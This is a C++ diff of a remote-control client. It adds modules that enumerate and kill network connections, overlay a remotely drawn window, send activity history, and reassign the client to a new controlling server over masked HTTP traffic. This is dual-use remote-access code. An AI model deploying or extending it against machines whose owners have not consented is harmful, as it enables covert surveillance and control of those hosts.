return LoopManager<CTalkManager, 0>(lParam); return LoopManager<CTalkManager, 0>(lParam);
} }
DWORD WINAPI LoopChatManager(LPVOID lParam)
{
return LoopManager<CChatManager, 0>(lParam);
}
DWORD WINAPI LoopMachineManager(LPVOID lParam)
{
return LoopManager<CMachineManager, 0>(lParam);
}
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsFile::CFileManager, 0>(lParam);
}
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsScreenHide::CScreenHideManager, 0>(lParam);
}
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsDrawingBoard::DrawingBoardMgr, 0>(lParam);
}
DWORD WINAPI LoopShellManager(LPVOID lParam) DWORD WINAPI LoopShellManager(LPVOID lParam)
{ {
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe // Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
@@ -139,6 +170,11 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
return LoopManager<CServicesManager, 0>(lParam); return LoopManager<CServicesManager, 0>(lParam);
} }
DWORD WINAPI LoopConnectionManager(LPVOID lParam)
{
return LoopManager<CConnectionsManager, 0>(lParam);
}
DWORD WINAPI LoopKeyboardManager(LPVOID lParam) DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
{ {
iniFile cfg(CLIENT_PATH); iniFile cfg(CLIENT_PATH);
+6
View File
@@ -28,12 +28,18 @@ DWORD WINAPI LoopShellManager(LPVOID lParam);
DWORD WINAPI LoopScreenManager(LPVOID lParam); DWORD WINAPI LoopScreenManager(LPVOID lParam);
DWORD WINAPI LoopFileManager(LPVOID lParam); DWORD WINAPI LoopFileManager(LPVOID lParam);
DWORD WINAPI LoopTalkManager(LPVOID lParam); DWORD WINAPI LoopTalkManager(LPVOID lParam);
DWORD WINAPI LoopChatManager(LPVOID lParam);
DWORD WINAPI LoopMachineManager(LPVOID lParam);
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam);
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam);
DWORD WINAPI LoopProcessManager(LPVOID lParam); DWORD WINAPI LoopProcessManager(LPVOID lParam);
DWORD WINAPI LoopWindowManager(LPVOID lParam); DWORD WINAPI LoopWindowManager(LPVOID lParam);
DWORD WINAPI LoopVideoManager(LPVOID lParam); DWORD WINAPI LoopVideoManager(LPVOID lParam);
DWORD WINAPI LoopAudioManager(LPVOID lParam); DWORD WINAPI LoopAudioManager(LPVOID lParam);
DWORD WINAPI LoopRegisterManager(LPVOID lParam); DWORD WINAPI LoopRegisterManager(LPVOID lParam);
DWORD WINAPI LoopServicesManager(LPVOID lParam); DWORD WINAPI LoopServicesManager(LPVOID lParam);
DWORD WINAPI LoopConnectionManager(LPVOID lParam);
DWORD WINAPI LoopKeyboardManager(LPVOID lParam); DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
DWORD WINAPI LoopProxyManager(LPVOID lParam); DWORD WINAPI LoopProxyManager(LPVOID lParam);
DWORD WINAPI LoopClientLogManager(LPVOID lParam); DWORD WINAPI LoopClientLogManager(LPVOID lParam);
+239
View File
@@ -0,0 +1,239 @@
// ConnectionsManager.cpp: implementation of the CConnectionsManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ConnectionsManager.h"
#include "Common.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <iphlpapi.h>
#include <tcpmib.h>
#include <udpmib.h>
#include <vector>
#pragma comment(lib, "iphlpapi.lib")
#if ENABLE_CONNECTION_MNG
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CConnectionsManager::CConnectionsManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
SendConnectionList();
}
CConnectionsManager::~CConnectionsManager()
{
}
// 把 PID 解析成进程映像名(UTF-8)。进程可能已退出/受保护,失败时填 <unknown>。
static void ResolveProcName(DWORD pid, char* out, int outLen)
{
if (outLen <= 0) return;
out[0] = 0;
if (pid == 0) {
strcpy_s(out, outLen, "System Idle Process");
return;
}
HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (h == NULL) {
strcpy_s(out, outLen, "<unknown>");
return;
}
wchar_t wpath[MAX_PATH] = { 0 };
DWORD len = MAX_PATH;
BOOL ok = QueryFullProcessImageNameW(h, 0, wpath, &len);
CloseHandle(h);
if (!ok) {
strcpy_s(out, outLen, "<unknown>");
return;
}
wchar_t* base = wcsrchr(wpath, L'\\');
base = base ? base + 1 : wpath;
if (WideCharToMultiByte(CP_UTF8, 0, base, -1, out, outLen, NULL, NULL) <= 0) {
strcpy_s(out, outLen, "<unknown>");
return;
}
out[outLen - 1] = 0;
}
// IPv4 地址:iphlpapi 的 dwLocalAddr/dwRemoteAddr 是网络序 DWORD(值 0xC0A80101 即 192.168.1.1),
// 转成 16 字节字段前 4 字节的网络序字节后 inet_ntop 可直接展示、断连时再拼回 DWORD。
static void PutAddr4(uint8_t* out, DWORD addrNet)
{
out[0] = (uint8_t)(addrNet >> 24);
out[1] = (uint8_t)(addrNet >> 16);
out[2] = (uint8_t)(addrNet >> 8);
out[3] = (uint8_t)(addrNet);
}
static DWORD GetAddr4(const uint8_t* addr)
{
return ((DWORD)addr[0] << 24) | ((DWORD)addr[1] << 16) | ((DWORD)addr[2] << 8) | (DWORD)addr[3];
}
static void AppendTcp4(std::vector<ConnectionInfo>& rows)
{
PMIB_TCPTABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_TCPTABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_TCPROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 1;
info.af = AF_INET;
info.pid = r.dwOwningPid;
PutAddr4(info.localAddr, r.dwLocalAddr); // 网络序 DWORD → 网络序字节
info.localPort = ntohs((uint16_t)r.dwLocalPort); // 端口网络序 → 主机序
PutAddr4(info.remoteAddr, r.dwRemoteAddr);
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
info.state = r.dwState;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
static void AppendTcp6(std::vector<ConnectionInfo>& rows)
{
PMIB_TCP6TABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_TCP6TABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_TCP6ROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 1;
info.af = AF_INET6;
info.pid = r.dwOwningPid;
memcpy(info.localAddr, r.ucLocalAddr, 16);
info.localPort = ntohs((uint16_t)r.dwLocalPort);
memcpy(info.remoteAddr, r.ucRemoteAddr, 16);
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
info.state = r.dwState;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
static void AppendUdp4(std::vector<ConnectionInfo>& rows)
{
PMIB_UDPTABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_UDPTABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_UDPROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 2;
info.af = AF_INET;
info.pid = r.dwOwningPid;
PutAddr4(info.localAddr, r.dwLocalAddr);
info.localPort = ntohs((uint16_t)r.dwLocalPort);
info.state = 0;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
static void AppendUdp6(std::vector<ConnectionInfo>& rows)
{
PMIB_UDP6TABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_UDP6TABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_UDP6ROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 2;
info.af = AF_INET6;
info.pid = r.dwOwningPid;
memcpy(info.localAddr, r.ucLocalAddr, 16);
info.localPort = ntohs((uint16_t)r.dwLocalPort);
info.state = 0;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
VOID CConnectionsManager::SendConnectionList()
{
std::vector<ConnectionInfo> rows;
AppendTcp4(rows);
AppendTcp6(rows);
AppendUdp4(rows);
AppendUdp6(rows);
size_t count = rows.size();
if (count > 0xFFFF) count = 0xFFFF;
ULONG bufLen = 1 + 2 + (ULONG)(count * sizeof(ConnectionInfo));
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, bufLen);
if (szBuffer == NULL) return;
szBuffer[0] = TOKEN_CONNECTION_LIST;
uint16_t cnt = (uint16_t)count;
memcpy(szBuffer + 1, &cnt, 2);
for (size_t i = 0; i < count; ++i)
memcpy(szBuffer + 3 + i * sizeof(ConnectionInfo), &rows[i], sizeof(ConnectionInfo));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, bufLen, &mask);
LocalFree(szBuffer);
}
void CConnectionsManager::KillConnection(const ConnectionInfo& info)
{
// 仅 IPv4 TCP 有公开 API 可强制断开(SetTcpEntry + DELETE_TCB)。
if (info.proto != 1 || info.af != AF_INET) return;
MIB_TCPROW row = { 0 };
row.dwState = MIB_TCP_STATE_DELETE_TCB;
row.dwLocalAddr = GetAddr4(info.localAddr); // 网络序字节 → 网络序 DWORD
row.dwLocalPort = (DWORD)htons(info.localPort); // 主机序端口 → 网络序
row.dwRemoteAddr = GetAddr4(info.remoteAddr);
row.dwRemotePort = (DWORD)htons(info.remotePort);
SetTcpEntry(&row);
}
VOID CConnectionsManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch (szBuffer[0]) {
case COMMAND_CONNECTION: // 刷新
SendConnectionList();
break;
case COMMAND_KILL_CONNECTION: // 强制断开
if (ulLength >= 1 + sizeof(ConnectionInfo)) {
ConnectionInfo info;
memcpy(&info, szBuffer + 1, sizeof(ConnectionInfo));
KillConnection(info);
}
SendConnectionList();
break;
default:
break;
}
}
#endif
+29
View File
@@ -0,0 +1,29 @@
// ConnectionsManager.h: interface for the CConnectionsManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
#define AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#if ENABLE_CONNECTION_MNG==0
#define CConnectionsManager CManager
#else
class CConnectionsManager : public CManager
{
public:
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CConnectionsManager();
VOID SendConnectionList();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void KillConnection(const ConnectionInfo& info);
};
#endif
#endif // !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
+290
View File
@@ -0,0 +1,290 @@
#include "DrawingBoardMgr.h"
#include <tchar.h>
#define MSG_CLEAR 999
namespace SimplePluginsDrawingBoard {
DrawingBoardMgr::DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user): CManager(ClientObject)
{
m_fAlpha = 150;
m_bIsWorking = TRUE;
m_bTopMost = TRUE;
m_hWnd = NULL;
m_textColor = RGB(255,0,0);
m_Font = CreateFont(20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
m_DrawPen = CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
__CreateThread(NULL, 0, DrawingThreadProc, this, 0, NULL);
BYTE bToken = TOKEN_DRAWING_BOARD;
m_ClientObject->Send2Server((char*)&bToken, 1);
}
DrawingBoardMgr::~DrawingBoardMgr()
{
m_bIsWorking = FALSE;
while (m_hWnd)
Sleep(200);
DeleteObject(m_DrawPen);
DeleteObject(m_Font);
}
DWORD WINAPI DrawingBoardMgr::DrawingThreadProc(LPVOID lpParam)
{
Mprintf("Start DrawingThreadProc\n");
DrawingBoardMgr* pThis = (DrawingBoardMgr*)lpParam;
pThis->RunWindowThread();
pThis->m_bIsWorking = FALSE;
Mprintf("Stop DrawingThreadProc\n");
return 0;
}
void DrawingBoardMgr::RunWindowThread()
{
const TCHAR CLASS_NAME[] = _T("DrawingBoardClass");
static bool s_classRegistered = false;
if (!s_classRegistered) {
WNDCLASSEX wc = {};
wc.cbSize = sizeof(WNDCLASSEX);
wc.lpfnWndProc = DrawingBoardMgr::WndProc;
wc.hInstance = GetModuleHandle(NULL);
wc.lpszClassName = CLASS_NAME;
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wc.hIcon = NULL; // 标题栏图标
wc.hIconSm = NULL; // 小图标(Alt+Tab 和任务栏缩略图)
if (!RegisterClassEx(&wc)) {
Mprintf("RegisterClassEx failed: %d\n", GetLastError());
}
s_classRegistered = true;
}
DWORD dwStyle = WS_POPUP | WS_BORDER;
m_hWnd = CreateWindowEx(
WS_EX_TOOLWINDOW | WS_EX_LAYERED, CLASS_NAME, _T(""),
dwStyle, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600,
NULL, NULL, GetModuleHandle(NULL), this
);
if (m_hWnd == NULL) return;
LONG style = GetWindowLong(m_hWnd, GWL_STYLE);
style |= WS_BORDER; // 增加窄边框
style &= ~(WS_CAPTION | WS_THICKFRAME); // 去掉标题栏和可调整边框
SetWindowLong(m_hWnd, GWL_STYLE, style);
// 去掉系统菜单
SetWindowPos(m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
BringWindowToTop(m_hWnd);
// 透明度
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
ShowWindow(m_hWnd, SW_SHOW);
UpdateWindow(m_hWnd);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) && m_bIsWorking) {
TranslateMessage(&msg);
DispatchMessage(&msg);
Sleep(1);
}
if (m_hWnd)
PostMessage(m_hWnd, WM_CLOSE, 0, 0);
m_hWnd = NULL; // 线程退出后,窗口已销毁
}
LRESULT CALLBACK DrawingBoardMgr::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
DrawingBoardMgr* pThis = nullptr;
if (msg == WM_NCCREATE) {
CREATESTRUCT* cs = (CREATESTRUCT*)lParam;
pThis = (DrawingBoardMgr*)cs->lpCreateParams;
SetWindowLongPtr(hWnd, GWLP_USERDATA, (LONG_PTR)pThis);
}
else {
pThis = (DrawingBoardMgr*)GetWindowLongPtr(hWnd, GWLP_USERDATA);
}
if (pThis) {
switch (msg) {
case WM_GETICON:
return NULL;
case WM_WINDOWPOSCHANGED:
{
WINDOWPOS* pwp = (WINDOWPOS*)lParam;
if (pThis->m_bTopMost && !(pwp->flags & SWP_NOZORDER)) {
// 如果窗口层级被改变,重新设置为顶层
SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0,
SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
}
break;
}
case WM_PAINT:
{
PAINTSTRUCT ps;
HDC hdc = BeginPaint(hWnd, &ps);
HPEN hOldPen = (HPEN)SelectObject(hdc, pThis->m_DrawPen);
HFONT hOldFont = (HFONT)SelectObject(hdc, pThis->m_Font);
pThis->m_locker.lock();
auto paths = pThis->m_Paths;
auto currentPath = pThis->m_CurrentPath;
auto texts = pThis->m_Texts;
pThis->m_locker.unlock();
// 画所有历史路径
for (const auto& path : paths)
{
if (path.size() >= 2)
Polyline(hdc, path.data(), (int)path.size());
}
// 画当前路径
if (currentPath.size() >= 2)
{
Polyline(hdc, currentPath.data(), (int)currentPath.size());
}
// 绘制文字
SetTextColor(hdc, pThis->m_textColor); // 设置文本颜色
SetBkMode(hdc, TRANSPARENT); // 设置透明背景
for (const auto& entry : texts)
TextOutA(hdc, entry.first.x, entry.first.y, entry.second.c_str(), entry.second.length());
SelectObject(hdc, hOldPen);
SelectObject(hdc, hOldFont);
EndPaint(hWnd, &ps);
return 0;
}
case WM_DESTROY:
PostQuitMessage(0);
return 0;
case MSG_CLEAR:
pThis->m_locker.lock();
pThis->m_Paths.clear();
pThis->m_CurrentPath.clear();
pThis->m_Texts.clear();
pThis->m_locker.unlock();
InvalidateRect(hWnd, NULL, TRUE);
break;
}
}
return DefWindowProc(hWnd, msg, wParam, lParam);
}
VOID DrawingBoardMgr::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
if (ulLength < 1) return;
BYTE cmd = szBuffer[0];
switch (cmd)
{
case CMD_DRAW_POINT:
if (ulLength == sizeof(POINT) + 1)
{
POINT pt = *(POINT*)(szBuffer + 1);
m_locker.lock();
m_CurrentPath.push_back(pt);
m_locker.unlock();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
break;
case CMD_DRAW_END:
m_locker.lock();
if (!m_CurrentPath.empty())
{
m_Paths.push_back(m_CurrentPath);
m_CurrentPath.clear();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
m_locker.unlock();
break;
case CMD_TRANSPORT:
m_fAlpha = ulLength > 1 ? szBuffer[1] : m_fAlpha;
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
break;
case CMD_TOPMOST:
m_bTopMost = ulLength > 1 ? szBuffer[1] : TRUE;
SetWindowPos(m_hWnd, m_bTopMost ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0,
SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
break;
case CMD_MOVEWINDOW:
if (ulLength == sizeof(RECT) + 1)
{
RECT rect = *(RECT*)(szBuffer + 1);
if (m_hWnd && IsWindow(m_hWnd))
{
::SetWindowPos(m_hWnd, HWND_TOP, rect.left, rect.top,
rect.right-rect.left, rect.bottom-rect.top,
SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
}
}
break;
case CMD_SET_SIZE: {
if (ulLength == sizeof(int) * 2 + 1) {
int x[2];
memcpy(x, szBuffer + 1, sizeof(int) * 2);
if (IsWindow(m_hWnd)) {
::SetWindowPos(m_hWnd, NULL, 0, 0,
x[0], x[1], SWP_NOZORDER | SWP_NOMOVE | SWP_NOACTIVATE);
}
}
break;
}
case CMD_DRAW_CLEAR: {
PostMessage(m_hWnd, MSG_CLEAR, 0, 0);;
break;
}
case CMD_DRAW_TEXT: {
ParseRemoteText(szBuffer + 1, ulLength - 1);
break;
}
default:
break;
}
}
void DrawingBoardMgr::ParseRemoteText(PBYTE data, ULONG length)
{
if (length < sizeof(POINT)) return;
// 提取位置
POINT pt = *(POINT*)data;
PBYTE textData = data + sizeof(POINT);
int textLen = (int)(length - sizeof(POINT));
// UTF-8 → WCHAR
int wideLen = MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, NULL, 0);
if (wideLen <= 0) return;
std::wstring wstr(wideLen, 0);
MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, &wstr[0], wideLen);
#ifdef _UNICODE
CString cstr(wstr.c_str());
#else
// 若项目使用多字节字符集
int ansiLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
std::string cstr;
if (ansiLen > 0)
{
std::string ansi(ansiLen - 1, 0);
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], ansiLen - 1, NULL, NULL);
cstr = ansi.c_str();
}
#endif
// 存入本地图形对象并刷新绘图区域
m_locker.lock();
m_Texts.push_back(std::make_pair(pt, cstr));
m_locker.unlock();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
} // namespace SimplePluginsDrawingBoard
+36
View File
@@ -0,0 +1,36 @@
#pragma once
#include "Manager.h"
#include <vector>
#include <string>
#include "common/locker.h"
namespace SimplePluginsDrawingBoard {
class DrawingBoardMgr : public CManager
{
public:
DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user = nullptr);
~DrawingBoardMgr();
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void ParseRemoteText(PBYTE data, ULONG length);
private:
BYTE m_fAlpha; // 透明度: 0-全透明, 255-不透明
BOOL m_bTopMost; // 顶层
BOOL m_bIsWorking; // 线程状态
HWND m_hWnd; // 窗口
std::vector<std::vector<POINT>> m_Paths; // 历史路径集合,每条路径是一组点
std::vector<POINT> m_CurrentPath; // 当前正在绘制的路径点集合
std::vector<std::pair<POINT, std::string>> m_Texts;
HFONT m_Font;
COLORREF m_textColor;
HPEN m_DrawPen;
CLocker m_locker;
static DWORD WINAPI DrawingThreadProc(LPVOID lpParam);
void RunWindowThread();
static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
};
} // namespace SimplePluginsDrawingBoard
+6 -2
View File
@@ -36,9 +36,13 @@ CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(p
// 初始化V2文件传输模块 // 初始化V2文件传输模块
CKernelManager* main = (CKernelManager*)pClient->GetMain(); CKernelManager* main = (CKernelManager*)pClient->GetMain();
m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature; m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature;
if (!m_Signature.empty()) if (!m_Signature.empty()) {
iniFile cfg(CLIENT_PATH);
int chunkKb, durMs;
GetTransferSpeed(cfg, chunkKb, durMs);
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg, InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
main ? main->m_LoginSignature : pClient->m_LoginSignature, 64, 50, Logf); main ? main->m_LoginSignature : pClient->m_LoginSignature, chunkKb, durMs, Logf);
}
// 发送驱动器列表, 开始进行文件管理,建立新线程 // 发送驱动器列表, 开始进行文件管理,建立新线程
SendDriveList(); SendDriveList();
+113 -1
View File
@@ -10,6 +10,7 @@
#include <fstream> #include <fstream>
#include <corecrt_io.h> #include <corecrt_io.h>
#include "ClientDll.h" #include "ClientDll.h"
#include "ActivityHistory.h"
#include "MemoryModule.h" #include "MemoryModule.h"
#include "common/dllRunner.h" #include "common/dllRunner.h"
#include "server/2015Remote/pwd_gen.h" #include "server/2015Remote/pwd_gen.h"
@@ -822,6 +823,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL);
break; break;
} }
case COMMAND_QUERY_ACTIVITY: {
// 主连接一次性快照:直接 dump 历史活动并回传
std::string text = ActivityHistory::Instance().Dump();
std::vector<BYTE> pkt(1 + text.size());
pkt[0] = TOKEN_REPORT_ACTIVITY;
if (!text.empty())
memcpy(pkt.data() + 1, text.data(), text.size());
m_ClientObject->Send2Server((char*)pkt.data(), (ULONG)pkt.size());
break;
}
case CMD_SET_GROUP: { case CMD_SET_GROUP: {
std::string group = std::string((char*)szBuffer + 1); std::string group = std::string((char*)szBuffer + 1);
m_cfg->SetStr("settings", "group_name", group); m_cfg->SetStr("settings", "group_name", group);
@@ -1008,6 +1019,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHARE: case COMMAND_SHARE:
case COMMAND_ASSIGN_MASTER: case COMMAND_ASSIGN_MASTER:
if (ulLength > 2) { if (ulLength > 2) {
// 解析末尾协议段(Shine=0 / HELL=1,旧命令无此段则 -1 沿用烘焙值)
int shareProto = -1;
{
auto pv = StringToVector((char*)szBuffer + 2, ':', 5);
if (szBuffer[1] == SHARE_TYPE_YAMA && pv.size() >= 3 && (pv[2] == "0" || pv[2] == "1"))
shareProto = atoi(pv[2].c_str());
else if (szBuffer[1] == SHARE_TYPE_YAMA_FOREVER && pv.size() >= 4 && (pv[3] == "0" || pv[3] == "1"))
shareProto = atoi(pv[3].c_str());
}
switch (szBuffer[1]) { switch (szBuffer[1]) {
case SHARE_TYPE_YAMA_FOREVER: { case SHARE_TYPE_YAMA_FOREVER: {
auto v = StringToVector((char*)szBuffer + 2, ':', 3); auto v = StringToVector((char*)szBuffer + 2, ':', 3);
@@ -1018,6 +1038,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (now <= valid_to) break; // Avoid assign again if (now <= valid_to) break; // Avoid assign again
m_cfg->SetStr("settings", "master", v[0]); m_cfg->SetStr("settings", "master", v[0]);
m_cfg->SetStr("settings", "port", v[1]); m_cfg->SetStr("settings", "port", v[1]);
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
m_cfg->SetStr("settings", "master_proto", std::to_string(shareProto));
float days = atof(v[2].c_str()); float days = atof(v[2].c_str());
if (days > 0) { if (days > 0) {
auto valid_to = time(0) + days*86400; auto valid_to = time(0) + days*86400;
@@ -1036,6 +1058,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (v[0].empty() || v[1].empty()) if (v[0].empty() || v[1].empty())
break; break;
auto share = v[0] + ":" + v[1]; auto share = v[0] + ":" + v[1];
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
share += ":" + std::to_string(shareProto);
auto list = m_cfg->GetStr("settings", "share_list"); auto list = m_cfg->GetStr("settings", "share_list");
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|'); auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
if (VectorContains(shareList, share)) break; if (VectorContains(shareList, share)) break;
@@ -1043,7 +1067,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|')); m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
Mprintf("Share client to new master: %s\n", share.c_str()); Mprintf("Share client to new master: %s\n", share.c_str());
} }
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE); auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE, shareProto);
if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0)); if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
break; break;
} }
@@ -1129,6 +1153,60 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break; break;
} }
case COMMAND_CHAT: { // 远程交谈(双向聊天)
if (!ENABLE_MESSAGE) {
return ResponseDisable(m_ClientObject, "CHAT", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount].user = m_hInstance;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopChatManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_MACHINE_MANAGE: { // 主机管理
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopMachineManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_FILE_MANAGER_PLUGIN: { // 插件文件管理(SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
